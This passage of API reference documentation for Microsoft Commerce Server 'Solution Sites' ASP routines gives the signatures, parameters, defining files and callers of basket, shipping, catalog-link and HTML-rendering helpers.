Routines Called

listCloneProfileSchema

UpdateSelectActionPropertyName

Called By

Main (services\partner\account.asp)

Remarks

This sub is called when the user has returned from a list page.


PrepareShippingMethods - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderShippingMethods by initializing the value of the first parameter. The sSelectedMethodID parameter is initialized to the last shipping method chosen by the user, if any.

Definition

Sub PrepareShippingMethods(
  byRef mscsOrderGrp,
  byRef sSelectedMethodID
)

Defined in File

pickship.asp

Routines Called

GenerateURL

GetAnyLineItem

LoadBasket

Called By

Main (pickship.asp)

Remarks

This sub loads the basket and if found to be empty, redirects the user to the basket page.


PrepareSpecificationSearch - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderStepSearchPageContent by initializing the values of the parameters passed to it. It does this by actually performing the indicated specification search.

Definition

Sub PrepareSpecificationSearch(
  byRef sCategoryName,
  byRef sCatalogName,
  byRef oCatalog,
  byRef bViewResults,
  byRef rsFields,
  byRef rsResults,
  byRef sSearchHandle,
  byRef iMatchesFound,
  byRef iConstraintFieldsCount,
  byRef iNonConstraintFieldsCount,
  byRef arr1,
  byRef arr2,
  byRef bNoValues,
  byRef bClosestMatches
)

Defined in File

stepsrch.asp

Routines Called

GetSpecificationSearchClauses

PerformSpecificationSearch

Called By

Main (stepsrch.asp)


ProfileRefresh - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub refreshes the Profile Service.

Definition

Sub ProfileRefresh()

Defined in File

RefreshApp.asp

Routines Called

dictGetProfileSchemaForAllProfileTypes

InitProfileService

IsActiveDirectoryPresent

sGetActiveDirectoryDefaultNamingContext

Called By

This routine is called by code outside of any routine (sub or function) in the file RefreshApp.asp.


Ptag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function surrounds the string specified by the s parameter with the tags <P> and </P>, and then returns the resulting string.

Definition

Function PTag(
  s
)

Parameters

s
A string that contains the text to be wrapped in a P element, and then returned.

Return Value

A string that contains the text passed in the s parameter, surrounded by <P> and </P> tags.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

InsertParagraphBreaks


RecordClickToBasket - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub records clicks associated with click-required discounts into the OrderGroup object for later use by the OrderDiscount component.

Definition

Sub RecordClickToBasket(
  ciid
)

Defined in File

redir.asp

Routines Called

EnsureAccess

LoadBasket

Called By

Main (redir.asp)


RedirectOrderDetailsForIDs - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub is used to redirect the user to a page from which they can choose which order to retrieve details for.

Definition

Sub RedirectOrderDetailsForIDs()

Defined in File

services\include\order_handlers.asp

Routines Called

GenerateURL

sGetThisPageProperty

Called By

htmOrderDetailsActionHandler


ReDirectToPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub generates a URL for the specified page and appends name/value argument pairs based on the corresponding values in the arrKeys and arrValues array parameters. It then redirects the user using the constructed URL.

Definition

Sub ReDirectToPage(
  byVal sPageName,
  byVal arrKeys,
  byVal arrValues
)

Defined in File

services\include\lib.asp

Routines Called

GenerateURL

Called By

DeleteAllActionHandler

DeSelectAllActionHandler

htmCopyActionHandler

htmDeleteActionHandler

htmEditAction

SelectAllActionHandler


RedirectToPOConfirmation - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves the basket as an order and then redirects the user to the purchase order confirmation page.

Definition

Sub RedirectToPOConfirmation(
  mscsOrderGrp
)

Defined in File

po.asp

Routines Called

GenerateURL

SaveBasketAsOrder

Called By

Main (po.asp)


RelocateRecordPointer - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes local variables used in the paging mechanism of the page that lists orders. It also sets the current record in the Recordset object specified by the rs parameter to the beginning of the specified page number.

Definition

Sub RelocateRecordPointer(
  byRef Count,
  byRef nPage,
  byRef nCountTemp,
  byRef bRecordCountPresent,
  byVal rs,
  byRef iPageNumber,
  byRef iTotalRecords
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

tableRenderOrdersListContents


RelocateRecordPointer2 - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes local variables used in the paging mechanism of the page that lists profiles. It also sets the current record in the Recordset object specified by the rs parameter to the beginning of the specified page number.

Definition

Sub RelocateRecordPointer2(
  byRef Count,
  byRef nPage,
  byRef nCountTemp,
  byRef bRecordCountPresent,
  byVal rs,
  byRef iPageNumber,
  byRef iTotalRecords
)

Defined in File

services\include\render_list.asp

Routines Called

None.

Called By

tableRenderMultipleRecords


RemoveBlankItemsFromArray - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub copies all non-empty strings from the array specified by the arrItems parameter into the array specified by the arrNew parameter, discarding any previous contents of the latter.

Definition

Sub RemoveBlankItemsFromArray(
  byRef arrItems,
  byRef arrNew
)

Defined in File

include\std_string_lib.asp

Routines Called

None.

Called By

ShowRefinedSearch


RemoveCreditCardInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function removes credit card information from the specified OrderGroup object. It is used when a user wants to change from using a credit card order to using a purchase order.

Definition

Function RemoveCreditCardInfo(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
A reference to the OrderGroup object from which all credit card information should be removed.

Return Value

Even though it is a function, this routine does not return any value.

Defined in File

po.asp

Routines Called

None.

Called By

SetPurchaseOrderInfo


RemoveEmptyOrderForms - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub removes empty OrderForm objects from the specified OrderGroup object.

Definition

Sub RemoveEmptyOrderForms(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
A reference to the OrderGroup object from which all empty OrderForm objects should be removed.

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

CatchErrors (pickship.asp)

CatchErrors (summary.asp)

CatchErrorsForPaymentPages

CheckBasket


RemovePurchaseOrderInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function removes purchase order information from the passed OrderGroup object. It is used when a user wants to change from using a purcahse order to using a credit card.

Definition

Function RemovePurchaseOrderInfo(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
A reference to the OrderGroup object from which the all purchase order information should be removed.

Return Value

Even though it is a function, this routine does not return any value.

Defined in File

crdtcard.asp

Routines Called

None.

Called By

SetCreditCardInfo


RenderBasketPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub renders the basket page, including the basket contents, discounts, and errors. It establishes the appropriate content in the two content variables htmPageContent and htmDiscountBannerSlot.

Definition

Sub RenderBasketPage(
  mscsOrderGrp,
  oOrderFormDisplayOrder,
  bBasketIsEmpty,
  iErrorCount
)

Defined in File

basket.asp

Routines Called

CollectBasketItems

GenerateURL

htmRenderBasket

htmRenderBasketWarnings

htmRenderCheckoutButton

htmRenderDiscountMessages

htmRenderPredictions

RenderDiscounts

RenderLink

RenderText

Called By

Main (basket.asp)


RenderCatalogLink - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a link to the specified catalog, using the specified FONT element attributes for the link text style.

Definition

Function RenderCatalogLink(
  sCatalogName,
  style
)

Parameters

sCatalogName
A string that specifies the name of the catalog for which the link will be constructed.
style
A string that contains attributes appropriate for the FONT element, used when rendering the catalog link text.

Return Value

A string containing the HTML that will render the constructed catalog link.

Defined in File

include\catalog.asp

Routines Called

RenderCatalogURL

RenderLink

RenderText

Called By

htmRenderCatalogList


RenderCatalogURL - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs the URL for a catalog. This produces the same result as calling the RenderCategoryURL function with an empty string for the sCategory parameter and the number one (1) for the nPage parameter.

Definition

Function RenderCatalogURL(
  sCatalogName
)

Parameters

sCatalogName
A string containing the name of the catalog for which the URL will be constructed.

Return Value

A string containing the constructed catalog URL.

Defined in File

include\catalog.asp

Routines Called

RenderCategoryURL

Called By

RenderCatalogLink


RenderCategoryLink - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a link to the specified catalog, category, and page number, using the specified FONT element attributes for the link text style.

Definition

Function RenderCategoryLink(
  sCatalogName,
  sCategory,
  nPage,
  style
)

Parameters

sCatalogName
A string containing the name of the catalog for which the link will be constructed.
sCategory
A string containing the name of the category for which the link will be constructed.
nPage
A number corresponding to the page within the category for which the link will be constructed.
style
A string that contains attributes appropriate for the FONT element, which will be used when rendering the category link text.

Return Value

A string containing the HTML that will render the constructed category link.

Defined in File

include\catalog.asp

Routines Called

RenderCategoryURL

RenderLink

RenderText

Called By

htmRenderCategoriesList

RenderSearchResultRow

ShowSearchMatches


RenderCategoryURL - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs the URL for a category by appending the specified catalog, category, and page number as arguments to the category page URL stored in the MSCSSitePages Dictionary object.

Definition

Function RenderCategoryURL(
  sCatalogName,
  sCategory,
  nPage
)

Parameters

sCatalogName
A string containing the name of the catalog for which the URL will be constructed.
sCategory
A string containing the name of the category for which the URL will be constructed.
nPage
A number corresponding to the page within the category for which the URL will be constructed.

Return Value

A string containing the constructed category URL.

Defined in File

include\catalog.asp

Routines Called

GenerateURL

Called By

htmRenderCategoryPage

RenderCatalogURL

RenderCategoryLink


RenderCheckBox - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "CHECKBOX", and for which other attribute values are supplied by the parameters.

Definition

Function RenderCheckBox(
  byVal sName,
  byVal sValue,
  byVal bChecked,
  byVal sAttList
)

Parameters

sName
A string containing a value to be assigned to the NAME attribute.
sValue
A string containing a value to be assigned to the VALUE attribute.
bChecked
A Boolean, which if set to True, results in the CHECKED attribute being present in the resulting HTML.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the INPUT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified checkbox.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

htmRenderAddressBook

htmRenderBoolean

htmRenderFillOutForm

htmRenderUniqueIDForProfile

sRenderHTMLPreFixForProperty

tableRenderEditPageTasks


RenderDetailedInfoList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an unordered list containing detailed error information.

Definition

Function RenderDetailedInfoList()

Return Value

A string containing the detailed error information, formatted as an unordered list (UL element).

Defined in File

error\500error.asp

Routines Called

RenderErrorType

RenderPageInfo

RenderPostData

RenderTime

Called By

This routine is called by code outside of any routine (sub or function) in the file error\500error.asp.


RenderDiscounts - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render discount banners, typically in the content area associated with the content variable htmDiscountBannerSlot. The content is produced by calling the GetContent method of a ContentSelector object created within the function.

This function uses the two passed SimpleList objects, BasketDetails and ProductDetails, to give affinity to discounts that are completed by items in the basket, or to items that are shown on the page, respectively.

Definition

Function RenderDiscounts(
  ProductDetails,
  BasketDetails,
  nDiscountsToShow
)

Parameters

ProductDetails
When present, a SimpleList object assigned to a property of the ContentSelector object named "Products".
BasketDetails
When present, a SimpleList object assigned to a property of the ContentSelector object named "Items".
nDiscountsToShow
A number specifying the number of discounts to show, assigned to a property of the ContentSelector object named "NumRequested".

Return Value

A string containing the HTML that will result in the rendering of the appropriate discounts, typically within the content area associated with the content variable htmDiscountBannerSlot.

Defined in File

template\discount.asp

Routines Called

GetCurrentUserProfile

Called By

Main (product.asp)

RenderBasketPage

Remarks

The parameters ProductDetails and BasketDetails, when present, provide information to the associated Content Selection pipeline. This pipeline uses this information to propose discounts related to products being shown on the current page, or items currently in the basket, respectively.


RenderElement - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an arbitrary HTML element and its associated attributes and content, as specified by the parameters.

Definition

Function RenderElement(
  byVal sElement,
  byVal sContent,
  byVal sAttList
)

Parameters

sElement
A string containing the name of the HTML element to be constructed for rendering.
sContent
A string containing the content to appear between the element starting and ending tags.
sAttList
A string containing any space-separated "attribute=value" pairs to be included in the starting element tag. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the arbitrary HTML element.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

None.


RenderErrorType - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render detailed error information based on the contents of the object returned by a call to the GetLastError method of the intrinsic Server object.

Definition

Function RenderErrorType()

Return Value

A string containing the HTML that will render the detailed error information, formatted to make it more readable.

Defined in File

error\500error.asp

Routines Called

None.

Called By

RenderDetailedInfoList


RenderForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the specified HTML form.

Definition

Function RenderForm(
  byVal urlAction,
  byVal htmBody,
  byVal iHTTPMethod
)

Parameters

urlAction
A string that contains the URL to be assigned to the ACTION attribute.
htmBody
A string containing the content for the body of the HTML FORM element being constructed. In other words, the content to appear between the <FORM> tag and the </FORM> tag.
iHTTPMethod
A number that specifies the value to be assigned to the METHOD attribute. If this parameter is equal to one (1), the METHOD attribute will be assigned the string "POST"; otherwise it will be assigned the string "GET".

Return Value

A string containing the HTML that will render the specified HTML form.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

formRenderBlankEditPageBody

formRenderChangePasswordPageContents

formRenderEditPageBody

formRenderListPageContents

formRenderOrderContents

formRenderOrderSearchOptions

formRenderOrdersListContents

formRenderPagingButtons

formRenderProfileSearchOptions

htmRenderAddressBook

htmRenderBasket

htmRenderBlankEditPage

htmRenderChangePasswordPage

htmRenderCheckoutButton

htmRenderEditPage

htmRenderFillOutForm

htmRenderOrderDetails

htmRenderOrderList

htmRenderPaymentOptionsForUser

htmRenderPickshipForm

htmRenderProfilesList

htmRenderSearchSection

htmRenderShippingMethods

htmRenderVerifyWithForm

Main (product.asp)

ShowRefinedSearch

tableRenderMessageBoxPageButtons


RenderHiddenField - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "HIDDEN", and for which other attribute values are supplied by the parameters.

Definition

Function RenderHiddenField(
  byVal sName,
  byVal sValue
)

Parameters

sName
A string containing a value to be assigned to the NAME attribute.
sValue
A string containing a value to be assigned to the VALUE attribute.

Return Value

A string containing the HTML that represents the specified hidden INPUT element.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

cellRenderReadOnlyProperty

colRenderForeignKeyProperty

colRenderPrimaryKeyProperty

colRenderUniqueKeyProperty

formRenderBlankEditPageBody

formRenderChangePasswordPageContents

formRenderEditPageBody

formRenderListPageContents

formRenderOrderContents

formRenderOrderSearchOptions

formRenderPagingButtons

formRenderProfileSearchOptions

htmRenderFillOutForm

htmRenderPaymentOptionsForUser

htmRenderUniqueIDForProfile

htmRenderVerifyWithForm

Main (product.asp)

rowRenderHiddenProperty

ShowRefinedSearch

tableRenderMessageBoxPageButtons

tableRenderOrdersListContents


RenderImage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an IMG element for which other attribute values are supplied by the parameters.

Definition

Function RenderImage(
  byVal urlSource,
  byVal iWidth,
  byVal iHeight,
  byVal sDesc,
  byVal sAttList
)

Parameters

urlSource
A string containing a URL to be assigned to the SRC attribute.
iWidth
A string containing a value to be assigned to the WIDTH attribute.
iHeight
A string containing a value to be assigned to the HEIGHT attribute.
sDesc
A string containing text to be assigned to the ALT attribute.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the IMG element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified image.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

htmRenderUserDefinedProductProperties


RenderImageButton - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "IMAGE", and for which other attribute values are supplied by the parameters.

Definition

Function RenderImageButton(
  byVal sImageName,
  byVal sImageSource,
  byVal sAttList
)

Parameters

sImageName
A string containing text to be assigned to the NAME attribute.
sImageSource
A string containing a URL to be assigned to the SRC attribute.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the INPUT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified image button.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

None.


RenderLink - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a link (an HTML A element) for which the attribute values and hot text are supplied by the parameters.

Definition

Function RenderLink(
  byVal url,
  byVal htmText,
  byVal sAttList
)

Parameters

url
A string containing a URL to be assigned to the HREF attribute.
htmText
A string containing the hot text of the link. In other words, the text to appear between the <A> tag and the </A> tag.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the starting A element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified link.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

colRenderAdvancedSearchTab

colRenderSimpleSearchTab

htmRenderAddressBookPage

htmRenderAddressRows

htmRenderBasket

htmRenderCategoryPage

htmRenderConfirmationPage

htmRenderCustomerServiceSection

htmRenderLoginPage

htmRenderLoginSection

htmRenderLogoffPage

htmRenderOrderForm

htmRenderPartnerServiceSection

htmRenderPickshipForm

htmRenderSearchDeptPageContent

htmRenderSearchSection

htmRenderShippingMethods

Main (error\badurl.asp)

Main (error\noauth.asp)

Main (error\profile.asp)

Main (welcome.asp)

RenderBasketPage

RenderCatalogLink

RenderCategoryLink

RenderNavbar

RenderProductLink


RenderListBox - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a SELECT element and its subordinate OPTION elements, populating the values for the various attributes and content based on the values supplied by the parameters.

Definition

Function RenderListBox(
  byVal iSource,
  byVal sName,
  colItemNames,
  colItemValues,
  byVal sSelectedOption,
  byVal iSize,
  byVal bMultiple,
  byVal sAttList
)

Parameters

iSource
A number that specifies the type of the colItemNames and colItemValues parameters. Legal values are the constants SIMPLELIST_COLLECTION, DICTIONARY_COLLECTION, and ARRAY_COLLECTION, each specifying the indicated type of collection.
sName
A string containing a value to be assigned to the NAME attribute.
colItemNames
A SimpleList object, a Dictionary object, or an array that contains the names of the selection choices that the user will see in the listbox, specified as content of the corresponding OPTION elements. The iSource parameter specifies the type of this parameter.
colItemValues
A SimpleList object, a Dictionary object, or an array that contains the values of the selection choices, used as the values assigned to the VALUE attributes of the corresponding OPTION elements. The iSource parameter specifies the type of this parameter.
sSelectedOption
A string that, if found to match one of the values supplied in the colItemValues parameter, results in the SELECTED attribute being present in the corresponding OPTION element.
iSize
A number containing a value to be assigned to the SIZE attribute.
bMultiple
A Boolean, which if set to True, results in the MULTIPLE attribute being present in the SELECT element.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the SELECT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified listbox.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

RenderListBoxFromArray

RenderListBoxFromSimpleList

Remarks

The pair of SimpleList objects, Dictionary objects, or arrays specified by the colItemNames and colItemValues parameters must each have the same number items.


RenderListBoxFromArray - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a SELECT element and its subordinate OPTION elements, populating the values for the various attributes and content based on the values supplied by the parameters. It serves as a wrapper for the function RenderListBox, hardcoding the iSource parameter to the constant ARRAY_COLLECTION, and passing through all other parameters as is.

Definition

Function RenderListBoxFromArray(
  byVal sName,
  arrItemNames,
  arrItemValues,
  byVal sSelectedOption,
  byVal iSize,
  byVal bMultiple,
  byVal sAttList
)

Parameters

sName
A string containing a value to be assigned to the NAME attribute.
arrItemNames
An array that contains the names of the selection choices that the user will see in the listbox, specified as content of the corresponding OPTION elements.
arrItemValues
An array that contains the values of the selection choices, used as the values assigned to the VALUE attributes of the corresponding OPTION elements.
sSelectedOption
A string that, if found to match one of the values supplied in the colItemValues parameter, results in the SELECTED attribute being present in the corresponding OPTION element.
iSize
A number containing a value to be assigned to the SIZE attribute.
bMultiple
A Boolean, which if set to True, results in the MULTIPLE attribute being present in the SELECT element.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the SELECT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified listbox.

Defined in File

include\html_lib.asp

Routines Called

RenderListBox

Called By

ShowRefinedSearch

Remarks

The pair of arrays specified by the colItemNames and colItemValues parameters must each have the same number items.


RenderListBoxFromSimpleList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a SELECT element and its subordinate OPTION elements, populating the values for the various attributes and content based on the values supplied by the parameters. It serves as a wrapper for the function RenderListBox, hardcoding the iSource parameter to the constant SIMPLELIST_COLLECTION, and passing through all other parameters as is.

Definition

Function RenderListBoxFromSimpleList(
  byVal sName,
  listItemNames,
  listItemValues,
  byVal sSelectedOption,
  byVal iSize,
  byVal bMultiple,
  byVal sAttList
)

Parameters

sName
A string containing a value to be assigned to the NAME attribute.
listItemNames
A SimpleList object that contains the names of the selection choices that the user will see in the listbox, specified as content of the corresponding OPTION elements.
listItemValues
A SimpleList object that contains the values of the selection choices, used as the values assigned to the VALUE attributes of the corresponding OPTION elements.
sSelectedOption
A string that, if found to match one of the values supplied in the colItemValues parameter, results in the SELECTED attribute being present in the corresponding OPTION element.
iSize
A number containing a value to be assigned to the SIZE attribute.
bMultiple
A Boolean, which if set to True, results in the MULTIPLE attribute being present in the SELECT element.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the SELECT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified listbox.

Defined in File

include\html_lib.asp

Routines Called

RenderListBox

Called By

htmRenderFillOutForm

htmRenderPaymentOptionsForUser

Remarks

The pair of SimpleList objects specified by the colItemNames and colItemValues parameters must each have the same number items.


RenderListFromSimpleList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a sequence of formatted text items, each followed by the BR element.

Definition

Function RenderListFromSimpleList(
  listItems,
  style
)

Parameters

listItems
A SimpleList object containing strings to be rendered using the FONT element attributes specified by the style parameter, and each followed by a BR element.
style
A string containing a space-separated list of "attribute=value" pairs to be passed to the RenderText function as its sAttList parameter, and used as attributes to the FONT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified list of formatted text items, where each item is followed by a BR element so that it will render on its own line.

Defined in File

include\html_lib.asp

Routines Called

RenderText

Called By

None.


RenderNavbar - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the navigation bar, which includes links to the home page, the catalog, and the basket, surrounded by square brackets.

Definition

Function RenderNavbar(
  byVal style
)

Parameters

style
This parameter is not used.

Return Value

A string containing the HTML that will render the navigation bar.

Defined in File

template\navbar.inc

Routines Called

CacheFragment

GenerateURL

LookupCachedFragment

RenderLink

RenderText

Tag

Called By

This routine is called by code outside of any routine (sub or function) in the file template\navbar.inc.


RenderPageInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the contents of the server request variables REQUEST_METHOD and SCRIPT_NAME, and is called as part of the error information formatted by the function RenderDetailedInfoList.

Definition

Function RenderPageInfo()

Return Value

A string containing the HTML that will render the contents of the server request variables REQUEST_METHOD and SCRIPT_NAME.

Defined in File

error\500error.asp

Routines Called

None.

Called By

RenderDetailedInfoList


RenderPasswordBox - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "PASSWORD", and for which other attribute values are supplied by the parameters.

Definition

Function RenderPasswordBox(
  byVal sName,
  byVal sValue,
  byVal iSize,
  byVal iMaxLength,
  byVal sAttList
)

Parameters

sName
A string containing a value to be assigned to the NAME attribute.
sValue
A string containing a value to be assigned to the VALUE attribute.
iSize
A number containing a value to be assigned to the SIZE attribute.
iMaxLength
A number containing a value to be assigned to the MAXLENGTH attribute.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the INPUT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified password box.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

colRenderPasswordProperty

htmRenderFillOutForm

tableRenderChangePasswordContents


RenderPostData - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the contents of a posted form, and is called as part of the error information formatted by the function RenderDetailedInfoList. Only the first lngMaxFormBytes will be included, and the contents will be HTML encoded.

Definition

Function RenderPostData()

Return Value

A string containing the HTML that will render the first lngMaxFormBytes bytes of the posted form.

Defined in File

error\500error.asp

Routines Called

None.

Called By

RenderDetailedInfoList


RenderPreFormattedText - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the passed string as pre-formatted text.

Definition

Function RenderPreFormattedText(
  byVal s,
  byVal style
)

Parameters

s
A string containing the text to be placed within PRE tags.
style
This parameter is not used.

Return Value

A string containing the contents of the s parameters, surrounded with <PRE> and </PRE> tags.

Defined in File

include\html_lib.asp

Routines Called

Tag

Called By

htmRenderDiscountMessageGroup

htmRenderDiscountsApplied

htmRenderDiscountsDescriptions


RenderProductLink - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a link to the product specified by the parameters, using the specified FONT element attributes for the link text style.

Definition

Function RenderProductLink(
  sCatalogName,
  sProductCategory,
  sProductName,
  sProductID,
  style
)

Parameters

sCatalogName
A string that specifies the name of the catalog in which the product appears, used to construct the URL for the link.
sProductCategory
A string that specifies the name of the category in which the product appears, used to construct the URL for the link.
sProductName
A string that specifies the name of the product, used for the hot text of the link.
sProductID
A string that specifies the product ID, used to construct the URL for the link.
style
A string that contains attributes appropriate for the FONT element, used when rendering the hot text of the link.

Return Value

A string containing the HTML that will render the constructed product link.

Defined in File

include\catalog.asp

Routines Called

RenderLink

RenderProductURL

RenderText

Called By

htmRenderProductsTable

RenderSearchResultRow

ShowSearchMatches


RenderProductURL - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs the URL for the specified product.

Definition

Function RenderProductURL(
  sCatalogName,
  sProductCategory,
  sProductID
)

Parameters

sCatalogName
A string that specifies the name of the catalog in which the product appears, used to construct the URL for the product.
sProductCategory
A string that specifies the name of the category in which the product appears, used to construct the URL for the product.
sProductID
A string that specifies the product ID, used to construct the URL for the product.

Return Value

A string containing the URL for the product.

Defined in File

include\catalog.asp

Routines Called

GenerateURL

Called By

RenderProductLink


RenderRadioButton - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "RADIO", and for which other attribute values are supplied by the parameters.

Definition

Function RenderRadioButton(
  byVal sName,
  byVal sValue,
  byVal bChecked,
  byVal sAttList
)

Parameters

sName
A string containing a value to be assigned to the NAME attribute.
sValue
A string containing a value to be assigned to the VALUE attribute.
bChecked
A Boolean, which if set to True, results in the CHECKED attribute being present in the resulting HTML.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the INPUT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified radio button.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

arrPopulateOrderHeaderDetails

htmRenderAddressRows

htmRenderShippingMethods

htmRenderShippingOptionsEx

htmRenderUniqueIDForProfile

htmRenderVariantsList


RenderResetButton - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "RESET", and for which other attribute values are supplied by the parameters.

Definition

Function RenderResetButton(
  byVal sBtnName,
  byVal sBtnText,
  byVal sAttList
)

Parameters

sBtnName
A string containing a value to be assigned to the NAME attribute.
sBtnText
A string containing a value to be assigned to the VALUE attribute, which will appear as the text of the Reset button.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the INPUT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified Reset button.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

htmRenderFillOutForm


RenderSearchResultRow - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the current record from a Recordset object containing search results.

Definition

Function RenderSearchResultRow(
  rsResult,
  style
)

Parameters

rsResult
A Recordset object from which the current record will be used to provide data for the HTML to be constructed.
style
A string containing a space-separated list of "attribute=value" pairs to be passed to the RenderText function as its sAttList parameter, and used as attributes to the FONT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the current record from the passed search results Recordset object.

Defined in File

include\catalog.asp

Routines Called

FormatOutput

RenderCategoryLink

RenderProductLink

RenderText

Called By

RenderSearchResults


RenderSearchResults - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

